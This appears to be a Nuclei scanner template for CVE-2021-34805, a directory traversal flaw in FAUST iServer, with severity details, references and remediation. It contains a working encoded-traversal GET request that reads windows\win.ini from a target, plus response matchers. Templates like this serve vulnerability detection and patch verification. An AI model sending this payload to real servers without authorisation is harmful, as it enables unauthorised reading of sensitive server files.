id: CVE-2021-34805 info: name: FAUST iServer 9.0.018.018.4 - Local File Inclusion author: 0x_Akoko severity: high description: FAUST iServer before 9.0.019.019.7 is susceptible to local file inclusion because for each URL request it accesses the corresponding .fau file on the operating system without preventing %2e%2e%5c directory traversal. impact: | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server. remediation: | Apply the latest security patch or update to a non-vulnerable version of FAUST iServer. reference: - https://cxsecurity.com/issue/WLB-2022010120 - http://packetstormsecurity.com/files/165701/FAUST-iServer-9.0.018.018.4-Local-File-Inclusion.html - http://www.land-software.de/lfs.fau?prj=iweb&dn=faust+iserver - https://nvd.nist.gov/vuln/detail/CVE-2021-34805 - https://github.com/20142995/Goby classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-34805 cwe-id: CWE-22 epss-score: 0.17035 epss-percentile: 0.95944 cpe: cpe:2.3:a:land-software:faust_iserver:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: land-software product: faust_iserver tags: cve2021,cve,lfi,packetstorm,faust,iserver,land-software http: - method: GET path: - "{{BaseURL}}/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini" matchers-condition: and matchers: - type: word part: body words: - "bit app support" - "fonts" - "extensions" condition: and - type: status status: - 200 # digest: 4a0a00473045022076f97f992ddad3627c0d6b799e9f6d3da52b4ba214edba32e9d8ed58ebc79cb8022100e96425d4b328be990f2e4b7ba905d2cf53b1072bc62025b3a792d1233f268ce5:922c64590222798bb761d5b6d8e72950